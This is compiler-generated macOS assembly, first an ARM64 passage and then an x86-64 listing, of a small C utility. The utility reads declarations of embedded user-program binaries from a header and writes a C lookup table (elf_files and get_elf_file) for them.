subs w8, w8, w9
cset w8, eq
and w13, w8, #0x1
adrp x9, l_.str.18@PAGE
add x9, x9, l_.str.18@PAGEOFF
adrp x8, l_.str.17@PAGE
add x8, x8, l_.str.17@PAGEOFF
ands w13, w13, #0x1
csel x8, x8, x9, ne
mov x9, sp
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x1, l_.str.16@PAGE
add x1, x1, l_.str.16@PAGEOFF
bl _fprintf
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB4_1
LBB4_4:
ldur x0, [x29, #-24]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.21@PAGE
add x1, x1, l_.str.21@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
ldur x8, [x29, #-8]
ldr w9, [x8, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.22@PAGE
add x1, x1, l_.str.22@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.23@PAGE
add x1, x1, l_.str.23@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.24@PAGE
add x1, x1, l_.str.24@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.25@PAGE
add x1, x1, l_.str.25@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.26@PAGE
add x1, x1, l_.str.26@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.27@PAGE
add x1, x1, l_.str.27@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.28@PAGE
add x1, x1, l_.str.28@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.29@PAGE
add x1, x1, l_.str.29@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.30@PAGE
add x1, x1, l_.str.30@PAGEOFF
bl _fprintf
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _append_record ; -- Begin function append_record
.p2align 2
_append_record: ; @append_record
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
b LBB5_1
LBB5_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
ldr w8, [x8, #8]
ldur x9, [x29, #-8]
ldr w9, [x9, #12]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB5_3
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
ldur x0, [x29, #-8]
bl _extend
b LBB5_1
LBB5_3:
ldr x0, [sp, #16]
bl _strlen
add x9, x0, #8
mov x8, #1
mul x0, x8, x9
bl _malloc
str x0, [sp, #8]
ldr x0, [sp, #8]
adrp x1, l_.str.31@PAGE
add x1, x1, l_.str.31@PAGEOFF
mov x2, #-1
str x2, [sp] ; 8-byte Folded Spill
bl ___strcpy_chk
ldr x2, [sp] ; 8-byte Folded Reload
ldr x0, [sp, #8]
ldr x8, [sp, #16]
add x1, x8, #4
bl ___strcat_chk
ldur x0, [x29, #-8]
ldr x1, [sp, #16]
bl _simplify
ldur x8, [x29, #-8]
ldr x8, [x8]
ldur x9, [x29, #-8]
ldrsw x9, [x9, #8]
ldr x8, [x8, x9, lsl #3]
str x0, [x8]
ldr x8, [sp, #16]
ldur x9, [x29, #-8]
ldr x9, [x9]
ldur x10, [x29, #-8]
ldrsw x10, [x10, #8]
ldr x9, [x9, x10, lsl #3]
str x8, [x9, #8]
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
ldr x9, [x9]
ldur x10, [x29, #-8]
ldrsw x10, [x10, #8]
ldr x9, [x9, x10, lsl #3]
str x8, [x9, #16]
ldur x9, [x29, #-8]
ldr w8, [x9, #8]
add w8, w8, #1
str w8, [x9, #8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _start_with ; -- Begin function start_with
.p2align 2
_start_with: ; @start_with
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #16]
str x1, [sp, #8]
b LBB6_1
LBB6_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB6_5
b LBB6_2
LBB6_2: ; in Loop: Header=BB6_1 Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
ldr x9, [sp, #16]
ldrsb w9, [x9]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB6_4
b LBB6_3
LBB6_3:
str wzr, [sp, #28]
b LBB6_6
LBB6_4: ; in Loop: Header=BB6_1 Depth=1
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
b LBB6_1
LBB6_5:
mov w8, #1
str w8, [sp, #28]
b LBB6_6
LBB6_6:
ldr w0, [sp, #28]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _variable_name ; -- Begin function variable_name
.p2align 2
_variable_name: ; @variable_name
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
; kill: def $x8 killed $xzr
str xzr, [sp, #16]
ldur x8, [x29, #-8]
add x8, x8, #21
str x8, [sp, #8]
ldr x0, [sp, #8]
bl _strlen
mov x8, x0
str w8, [sp, #4]
ldr w8, [sp, #4]
add w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
mov x8, #1
mul x0, x8, x9
bl _malloc
str x0, [sp, #16]
ldr x0, [sp, #16]
ldr x1, [sp, #8]
mov x2, #-1
bl ___strcpy_chk
ldr x0, [sp, #16]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _open_file_with_suffix ; -- Begin function open_file_with_suffix
.p2align 2
_open_file_with_suffix: ; @open_file_with_suffix
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
ldur x0, [x29, #-8]
bl _strlen
str x0, [sp] ; 8-byte Folded Spill
ldur x0, [x29, #-16]
bl _strlen
mov x8, x0
ldr x0, [sp] ; 8-byte Folded Reload
add x9, x0, x8
mov x8, #1
add x9, x9, #1
mul x0, x8, x9
bl _malloc
str x0, [sp, #24]
ldr x0, [sp, #24]
ldur x1, [x29, #-8]
mov x2, #-1
str x2, [sp, #8] ; 8-byte Folded Spill
bl ___strcpy_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #24]
ldur x1, [x29, #-16]
bl ___strcat_chk
ldr x0, [sp, #24]
adrp x1, l_.str.32@PAGE
add x1, x1, l_.str.32@PAGEOFF
bl _fopen
str x0, [sp, #16]
ldr x0, [sp, #24]
bl _free
ldr x0, [sp, #16]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #1088
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #76]
str w0, [sp, #72]
str x1, [sp, #64]
ldr w8, [sp, #72]
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB9_2
b LBB9_1
LBB9_1:
adrp x0, l_.str.33@PAGE
add x0, x0, l_.str.33@PAGEOFF
bl _printf
mov w8, #-1
str w8, [sp, #76]
b LBB9_12
LBB9_2:
ldr x8, [sp, #64]
ldr x0, [x8, #8]
adrp x1, l_.str.34@PAGE
add x1, x1, l_.str.34@PAGEOFF
bl _open_file_with_suffix
str x0, [sp, #56]
ldr x8, [sp, #56]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB9_4
b LBB9_3
LBB9_3:
ldr x8, [sp, #64]
ldr x8, [x8, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.35@PAGE
add x0, x0, l_.str.35@PAGEOFF
bl _printf
mov w8, #-1
str w8, [sp, #76]
b LBB9_12
LBB9_4:
str xzr, [sp, #40]
str xzr, [sp, #48]
b LBB9_5
LBB9_5: ; =>This Inner Loop Header: Depth=1
ldr x2, [sp, #56]
add x0, sp, #80
mov w1, #1000
bl _fgets
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB9_9
b LBB9_6
LBB9_6: ; in Loop: Header=BB9_5 Depth=1
add x0, sp, #80
adrp x1, l_.str.36@PAGE
add x1, x1, l_.str.36@PAGEOFF
bl _start_with
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB9_8
b LBB9_7
LBB9_7: ; in Loop: Header=BB9_5 Depth=1
add x0, sp, #80
str x0, [sp, #24] ; 8-byte Folded Spill
bl _strlen
mov x8, x0
ldr x0, [sp, #24] ; 8-byte Folded Reload
subs x9, x8, #4
mov x8, x0
add x8, x8, x9
strb wzr, [x8]
bl _variable_name
mov x1, x0
add x0, sp, #40
bl _append_record
b LBB9_8
LBB9_8: ; in Loop: Header=BB9_5 Depth=1
b LBB9_5
LBB9_9:
ldr x8, [sp, #64]
ldr x0, [x8, #8]
adrp x1, l_.str.37@PAGE
add x1, x1, l_.str.37@PAGEOFF
bl _open_file_with_suffix
str x0, [sp, #32]
ldr x8, [sp, #32]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB9_11
b LBB9_10
LBB9_10:
ldr x8, [sp, #64]
ldr x8, [x8, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.35@PAGE
add x0, x0, l_.str.35@PAGEOFF
bl _printf
mov w8, #-1
str w8, [sp, #76]
b LBB9_12
LBB9_11:
ldr x1, [sp, #56]
ldr x2, [sp, #32]
add x0, sp, #40
bl _write_to_file
ldr x0, [sp, #56]
bl _fclose
ldr x0, [sp, #32]
bl _fclose
str wzr, [sp, #76]
b LBB9_12
LBB9_12:
ldr w8, [sp, #76]
str w8, [sp, #20] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB9_14
b LBB9_13
LBB9_13:
bl ___stack_chk_fail
LBB9_14:
ldr w0, [sp, #20] ; 4-byte Folded Reload
add sp, sp, #1088
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l___func__.extend: ; @__func__.extend
.asciz "extend"
l_.str: ; @.str
.asciz "390339.c"
l_.str.1: ; @.str.1
.asciz "self->record != NULL"
l_.str.2: ; @.str.2
.asciz "_"
l_.str.3: ; @.str.3
.asciz "test"
l_.str.4: ; @.str.4
.asciz "elf"
l_.str.5: ; @.str.5
.asciz "typedef struct ElfFile {\n"
l_.str.6: ; @.str.6
.asciz " char *file_name;\n"
l_.str.7: ; @.str.7
.asciz " unsigned char* file_content;\n"
l_.str.8: ; @.str.8
.asciz " int* file_length;\n"
l_.str.9: ; @.str.9
.asciz "} ElfFile;\n\n"
l_.str.10: ; @.str.10
.asciz "#define ELF_FILE_NUM %d\n"
l_.str.11: ; @.str.11
.asciz "extern ElfFile elf_files[%d];\n"
l_.str.12: ; @.str.12
.asciz "extern int get_elf_file(const char *file_name, unsigned char **binary, int *length);\n"
l_.str.13: ; @.str.13
.asciz "#include <string.h> \n"
l_.str.14: ; @.str.14
.asciz "#include \"user_programs.h\"\n"
l_.str.15: ; @.str.15
.asciz "ElfFile elf_files[%d] = {\n"
l_.str.16: ; @.str.16
.asciz " {.file_name = \"%s\", .file_content = %s, .file_length = &%s}%s\n"
l_.str.17: ; @.str.17
.space 1
l_.str.18: ; @.str.18
.asciz ","
l_.str.19: ; @.str.19
.asciz "};\n"
l_.str.20: ; @.str.20
.asciz "int get_elf_file(const char *file_name, unsigned char **binary, int *length)\n"
l_.str.21: ; @.str.21
.asciz "{\n"
l_.str.22: ; @.str.22
.asciz " for (int i = 0; i < %d; ++i) {\n"
l_.str.23: ; @.str.23
.asciz " if (strcmp(elf_files[i].file_name,file_name) == 0) {\n"
l_.str.24: ; @.str.24
.asciz " *binary = elf_files[i].file_content;\n"
l_.str.25: ; @.str.25
.asciz " *length = *elf_files[i].file_length;\n"
l_.str.26: ; @.str.26
.asciz " return 1;\n"
l_.str.27: ; @.str.27
.asciz " }\n"
l_.str.28: ; @.str.28
.asciz " }\n"
l_.str.29: ; @.str.29
.asciz " return 0;\n"
l_.str.30: ; @.str.30
.asciz "}\n\n"
l_.str.31: ; @.str.31
.asciz "_length"
l_.str.32: ; @.str.32
.asciz "r+"
l_.str.33: ; @.str.33
.asciz "Usage: generateMapping <user_programs>\n"
l_.str.34: ; @.str.34
.asciz ".h"
l_.str.35: ; @.str.35
.asciz "Can not open %s.h!\n"
l_.str.36: ; @.str.36
.asciz "extern unsigned char"
l_.str.37: ; @.str.37
.asciz ".c"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _extend ## -- Begin function extend
.p2align 4, 0x90
_extend: ## @extend
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
cmpl $0, 12(%rax)
jne LBB0_2
## %bb.1:
movq -8(%rbp), %rax
movl $10, 12(%rax)
jmp LBB0_3
LBB0_2:
movq -8(%rbp), %rax
movl 12(%rax), %ecx
shll $1, %ecx
movl %ecx, 12(%rax)
LBB0_3:
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -8(%rbp), %rax
movslq 12(%rax), %rsi
shlq $3, %rsi
callq _realloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rdi
movq -8(%rbp), %rax
movslq 12(%rax), %rax
imulq $24, %rax, %rsi
callq _realloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, (%rax)
movl $0, -12(%rbp)
LBB0_4: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
movq -8(%rbp), %rcx
cmpl 12(%rcx), %eax
jge LBB0_7
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
movq -8(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rdx
imull $3, -12(%rbp), %eax
cltq
shlq $3, %rax
addq %rax, %rdx
movq -8(%rbp), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
movq %rdx, (%rax,%rcx,8)
## %bb.6: ## in Loop: Header=BB0_4 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_4
LBB0_7:
movq -8(%rbp), %rax
cmpq $0, (%rax)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB0_9
## %bb.8:
leaq L___func__.extend(%rip), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.1(%rip), %rcx
movl $30, %edx
callq ___assert_rtn
LBB0_9:
jmp LBB0_10
LBB0_10:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _simplify_filter ## -- Begin function simplify_filter
.p2align 4, 0x90
_simplify_filter: ## @simplify_filter
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -24(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -28(%rbp)
movq -16(%rbp), %rdi
movq -24(%rbp), %rsi
callq _strstr
movq %rax, -40(%rbp)
LBB1_1: ## =>This Loop Header: Depth=1
## Child Loop BB1_3 Depth 2
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
je LBB1_10
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_3
LBB1_3: ## Parent Loop BB1_1 Depth=1
## => This Inner Loop Header: Depth=2
movq -16(%rbp), %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq -40(%rbp), %rcx
movb %al, -41(%rbp) ## 1-byte Spill
je LBB1_5
## %bb.4: ## in Loop: Header=BB1_3 Depth=2
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
setne %al
movb %al, -41(%rbp) ## 1-byte Spill
LBB1_5: ## in Loop: Header=BB1_3 Depth=2
movb -41(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB1_6
jmp LBB1_7
LBB1_6: ## in Loop: Header=BB1_3 Depth=2
movq -16(%rbp), %rax
movb (%rax), %cl
movq -8(%rbp), %rax
movb %cl, (%rax)
movq -8(%rbp), %rax
addq $1, %rax
movq %rax, -8(%rbp)
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB1_3
LBB1_7: ## in Loop: Header=BB1_1 Depth=1
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
jne LBB1_9
## %bb.8:
jmp LBB1_10
LBB1_9: ## in Loop: Header=BB1_1 Depth=1
movl -28(%rbp), %ecx
movq -16(%rbp), %rax
movslq %ecx, %rcx
addq %rcx, %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rdi
movq -24(%rbp), %rsi
callq _strstr
movq %rax, -40(%rbp)
jmp LBB1_1
LBB1_10:
movq -8(%rbp), %rax
movb $0, (%rax)
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _check_duplicate ## -- Begin function check_duplicate
.p2align 4, 0x90
_check_duplicate: ## @check_duplicate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movl $0, -28(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
movq -16(%rbp), %rcx
cmpl 8(%rcx), %eax
jge LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movq (%rax), %rax
movslq -28(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movq (%rax), %rdi
movq -24(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB2_4
## %bb.3:
movl $0, -4(%rbp)
jmp LBB2_7
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_5
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB2_1
LBB2_6:
movl $1, -4(%rbp)
LBB2_7:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _simplify ## -- Begin function simplify
.p2align 4, 0x90
_simplify: ## @simplify
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -20(%rbp)
movl -20(%rbp), %eax
addl $1, %eax
movslq %eax, %rdi
shlq $0, %rdi
callq _malloc
movq %rax, -32(%rbp)
movq -32(%rbp), %rdi
movq -16(%rbp), %rsi
leaq L_.str.2(%rip), %rdx
callq _simplify_filter
movq -32(%rbp), %rdi
movq -32(%rbp), %rsi
leaq L_.str.3(%rip), %rdx
callq _simplify_filter
movq -32(%rbp), %rdi
movq -32(%rbp), %rsi
leaq L_.str.4(%rip), %rdx
callq _simplify_filter
movq -32(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _write_to_file ## -- Begin function write_to_file
.p2align 4, 0x90
_write_to_file: ## @write_to_file
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -16(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $2, %edx
callq _fseek
movq -16(%rbp), %rdi
leaq L_.str.5(%rip), %rsi
movb $0, %al
callq _fprintf
movq -16(%rbp), %rdi
leaq L_.str.6(%rip), %rsi
movb $0, %al
callq _fprintf
movq -16(%rbp), %rdi
leaq L_.str.7(%rip), %rsi
movb $0, %al
callq _fprintf
movq -16(%rbp), %rdi
leaq L_.str.8(%rip), %rsi
movb $0, %al
callq _fprintf
movq -16(%rbp), %rdi
leaq L_.str.9(%rip), %rsi
movb $0, %al
callq _fprintf
movq -16(%rbp), %rdi
movq -8(%rbp), %rax
movl 8(%rax), %edx
leaq L_.str.10(%rip), %rsi
movb $0, %al
callq _fprintf
movq -16(%rbp), %rdi
movq -8(%rbp), %rax
movl 8(%rax), %edx
leaq L_.str.11(%rip), %rsi
movb $0, %al
callq _fprintf
movq -16(%rbp), %rdi
leaq L_.str.12(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $2, %edx
callq _fseek
movq -24(%rbp), %rdi
leaq L_.str.13(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.14(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
movq -8(%rbp), %rax
movl 8(%rax), %edx
leaq L_.str.15(%rip), %rsi
movb $0, %al
callq _fprintf
movl $0, -28(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
movq -8(%rbp), %rcx
cmpl 8(%rcx), %eax
jge LBB4_4
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq -24(%rbp), %rdi
movq -8(%rbp), %rax
movq (%rax), %rax
movslq -28(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movq (%rax), %rdx
movq -8(%rbp), %rax
movq (%rax), %rax
movslq -28(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movq 8(%rax), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movslq -28(%rbp), %rsi
movq (%rax,%rsi,8), %rax
movq 16(%rax), %r8
movl -28(%rbp), %esi
movq -8(%rbp), %rax
movl 8(%rax), %r10d
subl $1, %r10d
leaq L_.str.18(%rip), %r9
leaq L_.str.17(%rip), %rax
cmpl %r10d, %esi
cmoveq %rax, %r9
leaq L_.str.16(%rip), %rsi
movb $0, %al
callq _fprintf
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB4_1
LBB4_4:
movq -24(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.21(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
movq -8(%rbp), %rax
movl 8(%rax), %edx
leaq L_.str.22(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.23(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.24(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.25(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.26(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.27(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.28(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.29(%rip), %rsi
movb $0, %al
callq _fprintf
movq -24(%rbp), %rdi
leaq L_.str.30(%rip), %rsi
movb $0, %al
callq _fprintf
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _append_record ## -- Begin function append_record
.p2align 4, 0x90
_append_record: ## @append_record
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
LBB5_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movl 8(%rax), %eax
movq -8(%rbp), %rcx
cmpl 12(%rcx), %eax
jl LBB5_3
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movq -8(%rbp), %rdi
callq _extend
jmp LBB5_1
LBB5_3:
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rdi
addq $8, %rdi
shlq $0, %rdi
callq _malloc
movq %rax, -24(%rbp)
movq -24(%rbp), %rdi
leaq L_.str.31(%rip), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movq -24(%rbp), %rdi
movq -16(%rbp), %rsi
addq $4, %rsi
movq $-1, %rdx
callq ___strcat_chk
movq -8(%rbp), %rdi
movq -16(%rbp), %rsi
callq _simplify
movq %rax, %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq -8(%rbp), %rdx
movslq 8(%rdx), %rdx
movq (%rax,%rdx,8), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq -8(%rbp), %rdx
movslq 8(%rdx), %rdx
movq (%rax,%rdx,8), %rax
movq %rcx, 8(%rax)
movq -24(%rbp), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq -8(%rbp), %rdx
movslq 8(%rdx), %rdx
movq (%rax,%rdx,8), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
movl 8(%rax), %ecx
addl $1, %ecx
movl %ecx, 8(%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _start_with ## -- Begin function start_with
.p2align 4, 0x90
_start_with: ## @start_with
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
LBB6_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
je LBB6_5
## %bb.2: ## in Loop: Header=BB6_1 Depth=1
movq -24(%rbp), %rax
movsbl (%rax), %eax
movq -16(%rbp), %rcx
movsbl (%rcx), %ecx
cmpl %ecx, %eax
je LBB6_4
## %bb.3:
movl $0, -4(%rbp)
jmp LBB6_6
LBB6_4: ## in Loop: Header=BB6_1 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB6_1
LBB6_5:
movl $1, -4(%rbp)
LBB6_6:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _variable_name ## -- Begin function variable_name
.p2align 4, 0x90
_variable_name: ## @variable_name
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq $0, -16(%rbp)
movq -8(%rbp), %rax
addq $21, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -28(%rbp)
movl -28(%rbp), %eax
addl $1, %eax
movslq %eax, %rdi
shlq $0, %rdi
callq _malloc
movq %rax, -16(%rbp)
movq -16(%rbp), %rdi
movq -24(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movq -16(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
